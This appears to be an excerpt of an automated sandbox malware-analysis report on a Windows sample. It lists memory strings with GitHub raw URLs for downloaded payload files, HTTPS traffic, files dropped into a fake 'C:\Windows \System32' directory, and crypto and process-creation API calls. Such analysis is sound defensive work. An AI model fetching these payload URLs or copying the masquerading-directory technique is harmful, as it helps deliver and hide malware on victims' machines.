Source: svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpu.dat
Source: svchost.exe, 0000001A.00000003.2211131614.0000013B844E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpusys.dat
Source: svchost.exe, 0000001A.00000002.2847004878.0000013B8442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847222227.0000013B8448C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.2211131614.0000013B844EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/unv.dat
Source: svchost.exe, 0000001A.00000002.2847427687.0000013B84902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847222227.0000013B8448C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/runvd01/dwl/raw/refs/heads/main/un1/uusb.dat
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2848118434.00007FFBAB074000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: https://ipinfo.io/json
Source: svchost.exe, 0000001A.00000003.2211131614.0000013B844E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000003.2211131614.0000013B844EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/missingauth
Source: svchost.exe, 0000001A.00000002.2847310661.0000013B844F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/rootunvbot/mydata/refs/heads/main/unvumainrestorehardx.dat
Source: svchost.exe, 0000001A.00000002.2847427687.0000013B84902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/u
Source: svchost.exe, 0000001A.00000002.2847427687.0000013B84902000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847330585.0000013B844FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001A.00000002.2847222227.0000013B8448C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/runvd01/dwl/refs/heads/main/un1/uusb.dat
Source: 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2845803486.00000000660F4000.00000008.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://www.gnu.org/licenses/
Source: svchost.exe	String found in binary or memory: https://www.openssl.org/
Source: 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF7844E2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000000.1601838257.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, 58VSNPxrI4.exe, 00000000.00000002.1701148213.00007FF783AE2000.00000002.00000001.01000000.00000003.sdmp, svchost.exe, 0000001A.00000002.2847985695.00007FFBAA11E000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.openssl.org/H

Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.8:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 8.8.4.4:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.8:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.8:49861 version: TLS 1.2

Source: C:\Windows\System32\console_zero.exe

Code function: 32_2_00007FFBBAF62B80 CryptAcquireContextW,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

32_2_00007FFBBAF62B80

Source: C:\Windows\System32\svchost.exe

Code function: 26_2_00007FFBAB039E50: DeviceIoControl,GetLastError,

26_2_00007FFBAB039E50

Source: C:\Windows\System32\svchost.exe

Code function: 26_2_00007FFBAB0118D0 WTSGetActiveConsoleSessionId,WTSQueryUserToken,CreateProcessAsUserW,CloseHandle,WaitForSingleObject,CloseHandle,CloseHandle,CloseHandle,CloseHandle,_invalid_parameter_noinfo_noreturn,GetSystemDirectoryW,

26_2_00007FFBAB0118D0

Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.exe	Jump to behavior
Source: C:\Users\user\Desktop\58VSNPxrI4.exe	File created: C:\Windows \System32\printui.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File created: C:\Windows \System32	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\winsvcf\winlogsvc	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcurl.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\zlib1.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libcrypto-3-x64.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libiconv-2.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libintl-9.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libssl-3-x64.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libwinpthread-1.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\console_zero.exe	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\libpq.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\ucrtbased.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\vcruntime140d.dll	Jump to behavior
Source: C:\Windows \System32\printui.exe	File created: C:\Windows\System32\x939048.dat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: c:\windows\system32\winsvcf\x549596.dat	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_zu2y31t2.mzr.ps1

Source: C:\Windows \System32\printui.exe	Code function: 13_2_00007FF616B110E0	13_2_00007FF616B110E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600A230	26_2_6600A230
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_66010760	26_2_66010760
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_66009810	26_2_66009810
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600BC90	26_2_6600BC90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660050A0	26_2_660050A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_66019CB0	26_2_66019CB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600ACD0	26_2_6600ACD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_66004CE0	26_2_66004CE0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600DD20	26_2_6600DD20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600CD60	26_2_6600CD60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600E580	26_2_6600E580
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6600D5A0	26_2_6600D5A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_660121B0	26_2_660121B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6828A0B0	26_2_6828A0B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_6828C220	26_2_6828C220
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_68281C10	26_2_68281C10
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_68283500	26_2_68283500
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_682926C1	26_2_682926C1
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0539EC	26_2_00007FFBAB0539EC
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB067FFC	26_2_00007FFBAB067FFC
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFE6E60	26_2_00007FFBAAFE6E60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFE72F0	26_2_00007FFBAAFE72F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFE65F0	26_2_00007FFBAAFE65F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB02FC50	26_2_00007FFBAB02FC50
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFD5C50	26_2_00007FFBAAFD5C50
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB008C80	26_2_00007FFBAB008C80
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB02EAB0	26_2_00007FFBAB02EAB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB067AA4	26_2_00007FFBAB067AA4
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB04AAC4	26_2_00007FFBAB04AAC4
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF4AE0	26_2_00007FFBAAFF4AE0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFC9B20	26_2_00007FFBAAFC9B20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF99B0	26_2_00007FFBAAFF99B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB05A9E0	26_2_00007FFBAB05A9E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0099E0	26_2_00007FFBAB0099E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB039A40	26_2_00007FFBAB039A40
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFE0A60	26_2_00007FFBAAFE0A60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFD3A70	26_2_00007FFBAAFD3A70
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFCAA70	26_2_00007FFBAAFCAA70
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0118D0	26_2_00007FFBAB0118D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFC28C0	26_2_00007FFBAAFC28C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB04A8C0	26_2_00007FFBAB04A8C0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFEF900	26_2_00007FFBAAFEF900
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB057958	26_2_00007FFBAB057958
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB04B968	26_2_00007FFBAB04B968
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB032FB0	26_2_00007FFBAB032FB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB02EFA0	26_2_00007FFBAB02EFA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB009040	26_2_00007FFBAB009040
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB00A080	26_2_00007FFBAB00A080
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF5EA0	26_2_00007FFBAAFF5EA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFEDDC0	26_2_00007FFBAAFEDDC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB009E10	26_2_00007FFBAB009E10
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF4E20	26_2_00007FFBAAFF4E20
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB058D10	26_2_00007FFBAB058D10
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB05AD90	26_2_00007FFBAB05AD90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB00A3B0	26_2_00007FFBAB00A3B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFDB450	26_2_00007FFBAAFDB450
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF4450	26_2_00007FFBAAFF4450
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFCA2D0	26_2_00007FFBAAFCA2D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB009380	26_2_00007FFBAB009380
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF81A0	26_2_00007FFBAAFF81A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB0591A8	26_2_00007FFBAB0591A8
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF4100	26_2_00007FFBAAFF4100
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFC3150	26_2_00007FFBAAFC3150
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF5160	26_2_00007FFBAAFF5160
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF47A0	26_2_00007FFBAAFF47A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB059820	26_2_00007FFBAB059820
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB04A6BC	26_2_00007FFBAB04A6BC
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFC36D0	26_2_00007FFBAAFC36D0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFD2709	26_2_00007FFBAAFD2709
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFD1730	26_2_00007FFBAAFD1730
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB05562C	26_2_00007FFBAB05562C
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB041620	26_2_00007FFBAB041620
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFD34A0	26_2_00007FFBAAFD34A0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFDE4F0	26_2_00007FFBAAFDE4F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAAFF54F0	26_2_00007FFBAAFF54F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB043580	26_2_00007FFBAB043580
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB420EB0	26_2_00007FFBAB420EB0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB468B60	26_2_00007FFBAB468B60
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47CB30	26_2_00007FFBAB47CB30
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4969E0	26_2_00007FFBAB4969E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB43CA90	26_2_00007FFBAB43CA90
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB472FA0	26_2_00007FFBAB472FA0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45EDC0	26_2_00007FFBAB45EDC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB474CD0	26_2_00007FFBAB474CD0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB484CC0	26_2_00007FFBAB484CC0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47A2E0	26_2_00007FFBAB47A2E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB4322E0	26_2_00007FFBAB4322E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB458350	26_2_00007FFBAB458350
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45C210	26_2_00007FFBAB45C210
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB412210	26_2_00007FFBAB412210
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB49C280	26_2_00007FFBAB49C280
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB44C240	26_2_00007FFBAB44C240
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB46E0F0	26_2_00007FFBAB46E0F0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB45C700	26_2_00007FFBAB45C700
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47A6B0	26_2_00007FFBAB47A6B0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB42C610	26_2_00007FFBAB42C610
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB47E4E0	26_2_00007FFBAB47E4E0
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB470590	26_2_00007FFBAB470590
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB480550	26_2_00007FFBAB480550
Source: C:\Windows\System32\svchost.exe	Code function: 26_2_00007FFBAB41FBB0	26_2_00007FFBAB41FBB0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F29ADD0	32_2_00007FF70F29ADD0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F282852	32_2_00007FF70F282852
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2B8878	32_2_00007FF70F2B8878
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2968A0	32_2_00007FF70F2968A0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2880A0	32_2_00007FF70F2880A0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2750F0	32_2_00007FF70F2750F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2BCF34	32_2_00007FF70F2BCF34
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F299F29	32_2_00007FF70F299F29
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F272F90	32_2_00007FF70F272F90
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2C1FD0	32_2_00007FF70F2C1FD0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2A9FB0	32_2_00007FF70F2A9FB0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2997F0	32_2_00007FF70F2997F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F28DE20	32_2_00007FF70F28DE20
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2B6620	32_2_00007FF70F2B6620
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F29A68A	32_2_00007FF70F29A68A
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2B8674	32_2_00007FF70F2B8674
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2AC668	32_2_00007FF70F2AC668
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2876D0	32_2_00007FF70F2876D0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2826AC	32_2_00007FF70F2826AC
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F28A6F0	32_2_00007FF70F28A6F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F287D60	32_2_00007FF70F287D60
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2B95B8	32_2_00007FF70F2B95B8
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2CB454	32_2_00007FF70F2CB454
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2CCC84	32_2_00007FF70F2CCC84
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2C2468	32_2_00007FF70F2C2468
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F274390	32_2_00007FF70F274390
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F282380	32_2_00007FF70F282380
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F287380	32_2_00007FF70F287380
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2883E0	32_2_00007FF70F2883E0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F287A20	32_2_00007FF70F287A20
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2B8A7C	32_2_00007FF70F2B8A7C
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F29A2D0	32_2_00007FF70F29A2D0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2C2AE0	32_2_00007FF70F2C2AE0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F285AE0	32_2_00007FF70F285AE0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F272180	32_2_00007FF70F272180
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2C6210	32_2_00007FF70F2C6210
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F272A10	32_2_00007FF70F272A10
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FF70F2CD1DC	32_2_00007FF70F2CD1DC
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF61C30	32_2_00007FFBBAF61C30
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA6B50	32_2_00007FFBBAFA6B50
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA2B60	32_2_00007FFBBAFA2B60
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF62B80	32_2_00007FFBBAF62B80
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF749E0	32_2_00007FFBBAF749E0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF7BA40	32_2_00007FFBBAF7BA40
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8AA52	32_2_00007FFBBAF8AA52
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF6EFC0	32_2_00007FFBBAF6EFC0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF63FE0	32_2_00007FFBBAF63FE0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFACEC0	32_2_00007FFBBAFACEC0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF9CDD0	32_2_00007FFBBAF9CDD0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF9FE30	32_2_00007FFBBAF9FE30
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8BE30	32_2_00007FFBBAF8BE30
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF63D50	32_2_00007FFBBAF63D50
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA3D80	32_2_00007FFBBAFA3D80
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF9A3A0	32_2_00007FFBBAF9A3A0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF5F0C0	32_2_00007FFBBAF5F0C0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA00D0	32_2_00007FFBBAFA00D0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8C7B0	32_2_00007FFBBAF8C7B0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF816F0	32_2_00007FFBBAF816F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA8670	32_2_00007FFBBAFA8670
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8A4A4	32_2_00007FFBBAF8A4A4
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFB04A6	32_2_00007FFBBAFB04A6
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8B4E0	32_2_00007FFBBAF8B4E0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAFA74F0	32_2_00007FFBBAFA74F0
Source: C:\Windows\System32\console_zero.exe	Code function: 32_2_00007FFBBAF8F500	32_2_00007FFBBAF8F500

Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB4483C0 appears 46 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB448330 appears 44 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49EDF0 appears 422 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAAFC3E40 appears 90 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E10A appears 32 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E104 appears 229 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E896 appears 138 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB458FD0 appears 52 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E0FE appears 34 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E1CA appears 640 times
Source: C:\Windows\System32\svchost.exe	Code function: String function: 00007FFBAB49E8A2 appears 106 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FF70F273700 appears 88 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF84EB0 appears 39 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF9E2A0 appears 83 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF64D20 appears 44 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF84D90 appears 42 times
Source: C:\Windows\System32\console_zero.exe	Code function: String function: 00007FFBBAF64B60 appears 330 times
